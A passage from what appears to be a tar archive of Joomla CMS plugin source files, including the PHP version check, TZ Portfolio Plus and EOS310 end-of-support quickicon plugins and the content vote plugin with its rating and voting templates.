						$supportStatus['status']  = self::PHP_UNSUPPORTED;
						$supportStatus['message'] = JText::sprintf(
							'PLG_QUICKICON_PHPVERSIONCHECK_UNSUPPORTED',
							PHP_VERSION,
							$version,
							$versionEndOfSupport->format(JText::_('DATE_FORMAT_LC4'))
						);

						return $supportStatus;
					}
				}

				// PHP version is not supported and we don't know of any supported versions.
				$supportStatus['status']  = self::PHP_UNSUPPORTED;
				$supportStatus['message'] = JText::sprintf('PLG_QUICKICON_PHPVERSIONCHECK_UNSUPPORTED_JOOMLA_OUTDATED', PHP_VERSION);

				return $supportStatus;
			}

			// If the version is still supported, check if it has reached eol minus 3 month
			$securityWarningDate = clone $phpEndOfSupport;
			$securityWarningDate->sub(new DateInterval('P3M'));

			if (!$phpNotSupported && $today > $securityWarningDate)
			{
				$supportStatus['status']  = self::PHP_SECURITY_ONLY;
				$supportStatus['message'] = JText::sprintf(
					'PLG_QUICKICON_PHPVERSIONCHECK_SECURITY_ONLY', PHP_VERSION, $phpEndOfSupport->format(JText::_('DATE_FORMAT_LC4'))
				);
			}
		}

		return $supportStatus;
	}

	/**
	 * Determines if the message should be displayed
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	private function shouldDisplayMessage()
	{
		// Only on admin app
		if (!$this->app->isClient('administrator'))
		{
			return false;
		}

		// Only if authenticated
		if (JFactory::getUser()->guest)
		{
			return false;
		}

		// Only on HTML documents
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return false;
		}

		// Only on full page requests
		if ($this->app->input->getCmd('tmpl', 'index') === 'component')
		{
			return false;
		}

		// Only to com_cpanel
		if ($this->app->input->get('option') !== 'com_cpanel')
		{
			return false;
		}

		return true;
	}
}
                                                         quickicon/phpversioncheck/phpversioncheck.xml                                                       0000705                 00000001511 15242051520 0015631 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_phpversioncheck</name>
	<author>Joomla! Project</author>
	<creationDate>August 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_QUICKICON_PHPVERSIONCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="phpversioncheck">phpversioncheck.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_phpversioncheck.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_phpversioncheck.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                       quickicon/tz_portfolio_plus/tz_portfolio_plus.php                                                   0000705                 00000012346 15242051520 0016634 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/*------------------------------------------------------------------------

# TZ Portfolio Plus Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2015 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Language\Text;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Router\Route;

class plgQuickiconTZ_Portfolio_Plus extends CMSPlugin
{

    protected $autoloadLanguage = true;

	/**
	 * Display TZ Portfolio Plus backend icon in Joomla
	 *
	 * @param   string $context context
	 *
	 * @return array|null
	 * @throws Exception
	 */
	public function onGetIcons($context)
	{
		if ($context != $this->params->get('context', 'mod_quickicon')
            || !Factory::getUser()->authorise('core.manage', 'com_tz_portfolio_plus'))
		{
			return null;
		}
        $this->loadLanguage('com_tz_portfolio_plus.sys');

		$updateInfo = null;

        /* Setup */
        $file   = JPATH_ADMINISTRATOR.'/components/com_tz_portfolio_plus/setup/index.php';

        $xml    = simplexml_load_file(JPATH_ADMINISTRATOR.'/components/com_tz_portfolio_plus/tz_portfolio_plus.xml');

		if (!JFile::exists($file) && Factory::getUser()->authorise('core.manage', 'com_installer'))
		{
			$updateSite = '%tzportfolio.com/tzupdates%';
			$db         = Factory::getDbo();

			$query = $db->getQuery(true)
				->select('*')
				->from($db->qn('#__updates'))
				->where($db->qn('extension_id') . ' > 0')
				->where($db->qn('detailsurl') . ' LIKE ' . $db->q($updateSite));
			$db->setQuery($query);
			$list = (array) $db->loadObjectList();

			if ($list)
			{
				$updateInfo          = new stdClass;
				$updateInfo->addons  = 0;
				$updateInfo->version = 0;

				foreach ($list as $item)
				{
					if ($item->element == 'com_tz_portfolio_plus')
					{
						$updateInfo->version = $item->version;
					}
					else
					{
						$updateInfo->addons++;
					}
				}
			}
			else
			{
				$query = $db->getQuery(true)
					->select('update_site_id')
					->from($db->qn('#__update_sites'))
					->where($db->qn('enabled') . ' = 0')
					->where($db->qn('location') . ' LIKE ' . $db->q($updateSite));
				$db->setQuery($query);
				$updateInfo = !$db->loadResult();
			}
		}

		$link = 'index.php?option=com_tz_portfolio_plus';

		$useIcons = version_compare(JVERSION, '3.0', '>');

		if (JFile::exists($file))
		{
			$icon = 'warning';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-warning';
			}

			// Not fully installed
			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('PLG_QUICKICON_TZ_PORTFOLIO_PLUS_COMPLETE_INSTALLATION');
		}
		elseif ($updateInfo === null)
		{
			// Unsupported
			$icon = 'remove';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-remove';
			}

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS');
		}
		elseif ($updateInfo === false)
		{
			// Disabled
			$icon = 'minus';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-minus';
			}

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS') . '<br />' . Text::_('PLG_QUICKICON_TZ_PORTFOLIO_PLUS_UPDATE_DISABLED');
		}
		elseif (!empty($updateInfo->version) && version_compare($xml -> version, $updateInfo->version, '<'))
		{
			// Has updates
			$icon = 'download';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-download';
			}

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS').' <span class="label label-important">'
                . $updateInfo->version . '</span><br />' . Text::_('PLG_QUICKICON_TZ_PORTFOLIO_PLUS_UPDATE_NOW');
			$link = 'index.php?option=com_installer&view=update&filter_search=TZ Portfolio Plus';
		}
		else
		{
            $doc    = JFactory::getDocument();
            $doc -> addStyleSheet(JUri::base(true).'/components/com_tz_portfolio_plus/css/tppicon.min.css',
                array('version' => 'auto'));
            $doc -> addStyleDeclaration('[class^="icon-"][class^="tpp-icon-"]:before,
             [class*="icon-"][class*="tpp-icon-"]:before{
                font-family: \'TZ-Portfolio-Plus-Icons\';
            }');
			$icon = ' tpp-icon-portfolio';

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS');
		}

		// Use one line in J!3.0.
		if (version_compare(JVERSION, '3.0', '>'))
		{
			$text = preg_replace('|<br />|', ' - ', $text);
		}

		return array(array(
			'link'   => Route::_($link),
			'image'  => $img,
			'text'   => $text,
			'icon'   => $icon,
			'access' => array('core.manage', 'com_tz_portfolio_plus'),
			'id'     => 'plg_quickicon_com_tz_portfolio_plus'));
	}
}
                                                                                                                                                                                                                                                                                          quickicon/tz_portfolio_plus/tz_portfolio_plus.xml                                                   0000705                 00000002451 15242051520 0016641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE extension>
<extension version="2.5" type="plugin" group="quickicon" method="upgrade">
    <name>plg_quickicon_tz_portfolio_plus</name>
    <version>2.3.6</version>
    <author>DuongTVTemPlaza</author>
    <creationDate>July 26th 2019</creationDate>
    <copyright>Copyright (C) 2011-2019 TZ Portfolio. All rights reserved.</copyright>
    <license>GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>support@templaza.com</authorEmail>
    <authorUrl>www.templaza.com/</authorUrl>
    <files>
        <filename plugin="tz_portfolio_plus">tz_portfolio_plus.php</filename>
    </files>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_quickicon_tz_portfolio_plus.ini</language>
        <language tag="en-GB">en-GB/en-GB.plg_quickicon_tz_portfolio_plus.sys.ini</language>
    </languages>
    <config>
        <fields name="params">
            <fieldset name="basic">
                <field type="text" name="context"
                       default="mod_quickicon"
                       label="PLG_QUICKICON_TZ_PORTFOLIO_PLUS_GROUP_LABEL"
                       description="PLG_QUICKICON_TZ_PORTFOLIO_PLUS_GROUP_DESC"
                />
            </fieldset>
        </fields>
    </config>
</extension>
                                                                                                                                                                                                                       quickicon/eos310/eos310.xml                                                                         0000705                 00000001670 15242051520 0011275 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.10" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_eos310</name>
	<author>Joomla! Project</author>
	<creationDate>June 2021</creationDate>
	<copyright>(C) 2021 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.10.0</version>
	<description>PLG_QUICKICON_EOS310_XML_DESCRIPTION</description>
	<files>
		<filename plugin="eos310">eos310.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_eos310.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_eos310.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="last_snoozed_id"
					type="hidden"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                        quickicon/eos310/eos310.php                                                                         0000705                 00000025036 15242051520 0011266 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.eos310
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Joomla! end of support notification plugin
 *
 * @since  3.10.0
 */
class PlgQuickiconEos310 extends CMSPlugin
{
	/**
	 * The EOS date for 3.10
	 *
	 * @var    string
	 * @since  3.10.0
	 */
	const EOS_DATE = '2023-08-17';

	/**
	 * Application object
	 *
	 * @var    CMSApplication
	 * @since  3.10.0
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    DatabaseDriver
	 * @since  3.10.0
	 */
	protected $db;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.10.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Holding the current valid message to be shown
	 *
	 * @var    boolean
	 * @since  3.10.0
	 */
	private $currentMessage = false;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.10.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$diff           = Factory::getDate()->diff(Factory::getDate(static::EOS_DATE));
		$monthsUntilEOS = floor($diff->days / 30.417);

		$this->currentMessage = $this->getMessageInfo($monthsUntilEOS, $diff->invert);
	}

	/**
	 * Check and show the the alert and quickicon message
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array|void  A list of icon definition associative arrays, consisting of the
	 *			keys link, image, text and access, or void.
	 *
	 * @since   3.10.0
	 */
	public function onGetIcons($context)
	{
		if (!$this->shouldDisplayMessage())
		{
			return;
		}

		// No messages yet
		if (!$this->currentMessage)
		{
			return;
		}

		// Show this only when not snoozed
		if ($this->params->get('last_snoozed_id', 0) < $this->currentMessage['id'])
		{
			// Load the snooze scripts.
			HTMLHelper::_('jquery.framework');
			HTMLHelper::_('script', 'plg_quickicon_eos310/snooze.js', array('version' => 'auto', 'relative' => true));

			// Build the  message to be displayed in the cpanel
			$messageText = Text::sprintf(
				$this->currentMessage['messageText'],
				HTMLHelper::_('date', static::EOS_DATE, Text::_('DATE_FORMAT_LC3')),
				$this->currentMessage['messageLink']
			);

			if ($this->currentMessage['snoozable'])
			{
				$messageText .=
					'<p><button class="btn btn-warning eosnotify-snooze-btn" type="button">' .
					Text::_('PLG_QUICKICON_EOS310_SNOOZE_BUTTON') .
					'</button></p>';
			}

			$this->app->enqueueMessage(
				$messageText,
				$this->currentMessage['messageType']
			);
		}

		// The message as quickicon
		$messageTextQuickIcon = Text::sprintf(
			$this->currentMessage['quickiconText'],
			HTMLHelper::_(
				'date',
				static::EOS_DATE,
				Text::_('DATE_FORMAT_LC3')
			)
		);

		// The message as quickicon
		return array(array(
			'link'   => $this->currentMessage['messageLink'],
			'target' => '_blank',
			'rel'    => 'noopener noreferrer',
			'image'  => $this->currentMessage['image'],
			'text'   => $messageTextQuickIcon,
			'id'	 => 'plg_quickicon_eos310',
			'group'  => $this->currentMessage['groupText'],
		));
	}

	/**
	 * User hit the snooze button
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 *
	 * @throws  JAccessExceptionNotallowed  If user is not allowed.
	 */
	public function onAjaxSnoozeEOS()
	{
		// No messages yet so nothing to snooze
		if (!$this->currentMessage)
		{
			return;
		}

		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new JAccessExceptionNotallowed(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		// Make sure only snoozable messages can be snoozed
		if ($this->currentMessage['snoozable'])
		{
			$this->params->set('last_snoozed_id', $this->currentMessage['id']);

			$this->saveParams();
		}
	}

	/**
	 * Return the texts to be displayed based on the time until we reach EOS
	 *
	 * @param   integer  $monthsUntilEOS  The months until we reach EOS
	 * @param   integer  $inverted        Have we surpassed the EOS date
	 *
	 * @return  array|bool  An array with the message to be displayed or false
	 *
	 * @since   3.10.0
	 */
	private function getMessageInfo($monthsUntilEOS, $inverted)
	{
		// The EOS date has passed - Support has ended
		if ($inverted === 1)
		{
			return array(
				'id'            => 5,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_ERROR_SUPPORT_ENDED',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_ERROR_SUPPORT_ENDED_SHORT',
				'messageType'   => 'error',
				'image'         => 'minus-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_EOS',
				'snoozable'     => false,
			);
		}

		// The security support is ending in 6 months
		if ($monthsUntilEOS < 6)
		{
			return array(
				'id'            => 4,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SUPPORT_ENDING',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SUPPORT_ENDING_SHORT',
				'messageType'   => 'warning',
				'image'         => 'warning-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_WARNING',
				'snoozable'     => true,
			);
		}

		// We are in security only mode now, 12 month to go from now on
		if ($monthsUntilEOS < 12)
		{
			return array(
				'id'            => 3,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SECURITY_ONLY',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SECURITY_ONLY_SHORT',
				'messageType'   => 'warning',
				'image'         => 'warning-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_WARNING',
				'snoozable'     => true,
			);
		}

		// We still have 16 month to go, lets remind our users about the pre upgrade checker
		if ($monthsUntilEOS < 16)
		{
			return array(
				'id'            => 2,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_02',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_02_SHORT',
				'messageType'   => 'info',
				'image'         => 'info-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Pre-Update_Check',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_INFO',
				'snoozable'     => true,
			);
		}

		// Lets start our messages 2 month after the initial release, still 22 month to go
		if ($monthsUntilEOS < 22)
		{
			return array(
				'id'            => 1,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_01',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_01_SHORT',
				'messageType'   => 'info',
				'image'         => 'info-circle',
				'messageLink'   => 'https://www.joomla.org/4/#features',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_INFO',
				'snoozable'     => true,
			);
		}

		return false;
	}

	/**
	 * Determines if the message and quickicon should be displayed
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function shouldDisplayMessage()
	{
		// Only on admin app
		if (!$this->app->isClient('administrator'))
		{
			return false;
		}

		// Only if authenticated
		if (Factory::getUser()->guest)
		{
			return false;
		}

		// Only on HTML documents
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return false;
		}

		// Only on full page requests
		if ($this->app->input->getCmd('tmpl', 'index') === 'component')
		{
			return false;
		}

		// Only to com_cpanel
		if ($this->app->input->get('option') !== 'com_cpanel')
		{
			return false;
		}

		// Don't show anything in 4.0
		if (version_compare(JVERSION, '4.0', '>='))
		{
			return false;
		}

		return true;
	}

	/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

	/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function isAllowedUser()
	{
		return Factory::getUser()->authorise('core.login.admin');
	}

	/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function saveParams()
	{
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__extensions'))
			->set($this->db->quoteName('params') . ' = ' . $this->db->quote($this->params->toString('JSON')))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote('quickicon'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('eos310'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$this->db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $this->db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$this->db->unlockTables();

			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$this->db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'	=> $client_id ? JPATH_ADMINISTRATOR . '/cache' : $this->app->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  content/vote/tmpl/vote.php                                                                          0000705                 00000003257 15242051520 0011636 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

$uri = clone JUri::getInstance();
$uri->setVar('hitcount', '0');

// Create option list for voting select box
$options = array();

for ($i = 1; $i < 6; $i++)
{
	$options[] = JHtml::_('select.option', $i, JText::sprintf('PLG_VOTE_VOTE', $i));
}

?>
<form method="post" action="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" class="form-inline">
	<span class="content_vote">
		<label class="unseen element-invisible" for="content_vote_<?php echo (int) $row->id; ?>"><?php echo JText::_('PLG_VOTE_LABEL'); ?></label>
		<?php echo JHtml::_('select.genericlist', $options, 'user_rating', null, 'value', 'text', '5', 'content_vote_' . (int) $row->id); ?>
		&#160;<input class="btn btn-mini" type="submit" name="submit_vote" value="<?php echo JText::_('PLG_VOTE_RATE'); ?>" />
		<input type="hidden" name="task" value="article.vote" />
		<input type="hidden" name="hitcount" value="0" />
		<input type="hidden" name="url" value="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</span>
</form>
                                                                                                                                                                                                                                                                                                                                                 content/vote/tmpl/rating.php                                                                        0000705                 00000003167 15242051520 0012145 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

if ($context == 'com_content.categories')
{
	return;
}

$rating = (int) $row->rating;
$rcount = (int) $row->rating_count;

// Look for images in template if available
$starImageOn  = JHtml::_('image', 'system/rating_star.png', JText::_('PLG_VOTE_STAR_ACTIVE'), null, true);
$starImageOff = JHtml::_('image', 'system/rating_star_blank.png', JText::_('PLG_VOTE_STAR_INACTIVE'), null, true);

$img = '';

for ($i = 0; $i < $rating; $i++)
{
	$img .= $starImageOn;
}

for ($i = $rating; $i < 5; $i++)
{
	$img .= $starImageOff;
}

?>
<div class="content_rating">
	<?php if ($rcount) : ?>
		<p class="unseen element-invisible" itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
			<?php echo JText::sprintf('PLG_VOTE_USER_RATING', '<span itemprop="ratingValue">' . $rating . '</span>', '<span itemprop="bestRating">5</span>'); ?>
			<meta itemprop="ratingCount" content="<?php echo $rcount; ?>" />
			<meta itemprop="worstRating" content="1" />
		</p>
	<?php endif; ?>
	<?php echo $img; ?>
</div>
                                                                                                                                                                                                                                                                                                                                                                                                         content/vote/vote.xml                                                                               0000705                 00000002176 15242051520 0010672 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_vote</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_VOTE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="vote">vote.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_vote.ini</language>
		<language tag="en-GB">en-GB.plg_content_vote.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_VOTE_POSITION_LABEL"
					description="PLG_VOTE_POSITION_DESC"
					default="top"
					>
					<option value="top">PLG_VOTE_TOP</option>
					<option value="bottom">PLG_VOTE_BOTTOM</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                  content/vote/vote.php                                                                               0000705                 00000007152 15242051520 0010660 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Vote plugin.
 *
 * @since  1.5
 */
class PlgContentVote extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * The position the voting data is displayed in relative to the article.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $votingPosition;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.7.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->votingPosition = $this->params->get('position', 'top');
	}

	/**
	 * Displays the voting area when viewing an article and the voting section is displayed before the article
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params, $page = 0)
	{
		if ($this->votingPosition !== 'top')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area when viewing an article and the voting section is displayed after the article
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDisplay($context, &$row, &$params, $page = 0)
	{
		if ($this->votingPosition !== 'bottom')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	private function displayVotingData($context, &$row, &$params, $page)
	{
		$parts = explode('.', $context);

		if ($parts[0] !== 'com_content')
		{
			return false;
		}

		if (empty($params) || !$params->get('show_vote', null))
		{
			return '';
		}

		// Load plugin language files only when needed (ex: they are not needed if show_vote is not active).
		$this->loadLanguage();

		// Get the path for the rating summary layout file
		$path = JPluginHelper::getLayoutPath('content', 'vote', 'rating');

		// Render the layout
		ob_start();
		include $path;
		$html = ob_get_clean();

		if ($this->app->input->getString('view', '') === 'article' && $row->state == 1)
		{
			// Get the path for the voting form layout file
			$path = JPluginHelper::getLayoutPath('content', 'vote', 'vote');

			// Render the layout
			ob_start();
			include $path;
			$html .= ob_get_clean();
		}

		return $html;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                      content/vote/index.html                                                                             0000705                 00000000037 15242051520 0011162 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/joomla/index.html                                                                           0000705                 00000000037 15242051520 0011466 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/joomla/joomla.php                                                                           0000705                 00000021365 15242051520 0011472 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.joomla
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Example Content Plugin
 *
 * @since  1.6
 */
class PlgContentJoomla extends JPlugin
{
	/**
	 * Example after save content method
	 * Article is passed by reference, but after the save, so no changes will be saved.
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the plugin (added in 1.6)
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean   true if function not enabled, is in frontend or is new. Else true or
	 *                    false depending on success of save function.
	 *
	 * @since   1.6
	 */
